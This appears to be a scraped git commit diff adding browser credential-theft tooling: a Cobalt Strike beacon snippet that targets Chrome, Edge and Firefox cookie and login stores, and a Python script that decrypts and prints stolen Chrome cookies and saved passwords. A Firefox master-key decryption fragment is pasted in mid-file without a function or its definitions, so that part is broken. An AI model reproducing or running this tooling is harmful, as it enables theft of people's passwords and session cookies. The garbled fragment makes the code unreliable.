$args = bof_pack($1, "iiiiiiii", $chrome, $edge, $firefox, $chromeCookiePID, $chromeLoginDataPID, $edgeCookiePID, $edgeLoginDataPID, $pid );
|
||||
beacon_inline_execute($1, $data, "go", $args);
|
||||
|
||||
}
|
||||
|
||||
+148
@@ -0,0 +1,148 @@
|
||||
#code inspired by DonPAPI https://github.com/login-securite/DonPAPI
|
||||
|
||||
import sys
|
||||
import base64
|
||||
import sqlite3
|
||||
import os
|
||||
from Crypto.Cipher import AES
|
||||
import binascii
|
||||
import json
|
||||
from datetime import datetime,timedelta
|
||||
from pyasn1.codec.der import decoder
|
||||
|
||||
|
||||
def cookies(key, file_location):
|
||||
# connect to database
|
||||
if os.path.isfile(file_location) == False:
|
||||
print("Error: File does not exist")
|
||||
sys.exit(1)
|
||||
try:
|
||||
conn = sqlite3.connect(file_location)
|
||||
cursor = conn.cursor()
|
||||
# get encrypted cookies from cookies table
|
||||
cursor.execute('select host_key, "TRUE", path, "FALSE", expires_utc, name, encrypted_value from cookies')
|
||||
values = cursor.fetchall()
|
||||
for host_key, _, path, _, expires_utc, name, encrypted_value in values:
|
||||
# print results
|
||||
# print("Cookie: " + host_key +":"+ name + decrypt_data(encrypted_value, key) + ";")
|
||||
print("Host: " + host_key)
|
||||
print("Path: " + path)
|
||||
print("Name: " + name)
|
||||
print("Cookie: " + decrypt_data(encrypted_value, key) + ";")
|
||||
print("Expires: " + (datetime(1601, 1, 1) + timedelta(microseconds=expires_utc)).strftime('%b %d %Y %H:%M:%S'))
|
||||
print("")
|
||||
except sqlite3.Error as e:
|
||||
print("Error: Could not connect to database")
|
||||
print(e)
|
||||
sys.exit(1)
|
||||
|
||||
def login_data(key, file_location):
|
||||
# connect to database
|
||||
if os.path.isfile(file_location) == False:
|
||||
print("Error: File does not exist")
|
||||
sys.exit(1)
|
||||
try:
|
||||
conn = sqlite3.connect(file_location)
|
||||
cursor = conn.cursor()
|
||||
# get encrypted passwords from logins table
|
||||
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
|
||||
values = cursor.fetchall()
|
||||
for origin_url, username_value, password_value in values:
|
||||
# print results
|
||||
print("URL: " + origin_url)
|
||||
print("Username: " + username_value)
|
||||
print("Password: " + decrypt_data(password_value, key))
|
||||
print("")
|
||||
except sqlite3.Error as e:
|
||||
print("Error: Could not connect to database")
|
||||
print(e)
|
||||
sys.exit(1)
|
||||
|
||||
def decrypt_data(encrypted_junk, key):
|
||||
#print(key)
|
||||
key = binascii.unhexlify(key)
|
||||
try:
|
||||
nonce = encrypted_junk[3:3 + 12]
|
||||
cipher_text = encrypted_junk[15:]
|
||||
tag = encrypted_junk[-16:]
|
||||
plain_text = AES.new(key, AES.MODE_GCM, nonce)
|
||||
text = plain_text.decrypt(cipher_text)[:-16]
|
||||
return text.decode('utf-8')
|
||||
except Exception as e:
|
||||
print("Error: Could not decrypt password")
|
||||
print(e)
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
"""
|
||||
User master key is also encrypted (if provided, the master_password could be used to encrypt it)
|
||||
"""
|
||||
# See http://www.drh-consultancy.demon.co.uk/key3.html
|
||||
pbeAlgo = str(decoded_item[0][0][0])
|
||||
if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC
|
||||
entry_salt = decoded_item[0][0][1][0].asOctets()
|
||||
cipher_t = decoded_item[0][1].asOctets()
|
||||
|
||||
# See http://www.drh-consultancy.demon.co.uk/key3.html
|
||||
hp = sha1(global_salt + master_password).digest()
|
||||
pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt))
|
||||
chp = sha1(hp + entry_salt).digest()
|
||||
k1 = hmac.new(chp, pes + entry_salt, sha1).digest()
|
||||
tk = hmac.new(chp, pes, sha1).digest()
|
||||
k2 = hmac.new(chp, tk + entry_salt, sha1).digest()
|
||||
k = k1 + k2
|
||||
iv = k[-8:]
|
||||
key = k[:24]
|
||||
return triple_des(key, CBC, iv).decrypt(cipher_t)
|
||||
|
||||
# New version
|
||||
elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2
|
||||
|
||||
assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12'
|
||||
assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9'
|
||||
assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42'
|
||||
# https://tools.ietf.org/html/rfc8018#page-23
|
||||
entry_salt = decoded_item[0][0][1][0][1][0].asOctets()
|
||||
iteration_count = int(decoded_item[0][0][1][0][1][1])
|
||||
key_length = int(decoded_item[0][0][1][0][1][2])
|
||||
assert key_length == 32
|
||||
|
||||
k = sha1(global_salt + master_password).digest()
|
||||
key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length)
|
||||
|
||||
# https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49
|
||||
iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets()
|
||||
# 04 is OCTETSTRING, 0x0e is length == 14
|
||||
encrypted_value = decoded_item[0][1].asOctets()
|
||||
aes = AESModeOfOperationCBC(key, iv=iv)
|
||||
cleartxt = b"".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE])
|
||||
for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)])
|
||||
|
||||
return cleartxt
|
||||
def main():
|
||||
# get arguements
|
||||
args = sys.argv[1:]
|
||||
if len(args) != 3:
|
||||
print("Usage: python decrypt.py <base64 key> [--cookies || --passwords <DB File Location>]")
|
||||
sys.exit(1)
|
||||
base64_key = args[0]
|
||||
option = args[1]
|
||||
file_location = args[2]
|
||||
|
||||
#base64 decode key
|
||||
if option == "--cookies":
|
||||
key = bytearray(base64.b64decode(base64_key).decode('utf-8').replace('\\x', ''), 'utf-8')
|
||||
cookies(key, file_location)
|
||||
elif option == "--passwords":
|
||||
key = bytearray(base64.b64decode(base64_key).decode('utf-8').replace('\\x', ''), 'utf-8')
|
||||
login_data(key, file_location)
|
||||
elif option == "--firefox":
|
||||
print("TO DO")
|
||||
else:
|
||||
print("Usage: python decrypt.py <base64 key> [--cookies || --passwords <DB File Location>]")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,4 @@
|
||||
pycryptodome
|
||||
pyasn1_modules
|
||||
|
||||
|
||||
Reference in New Issue
Block a user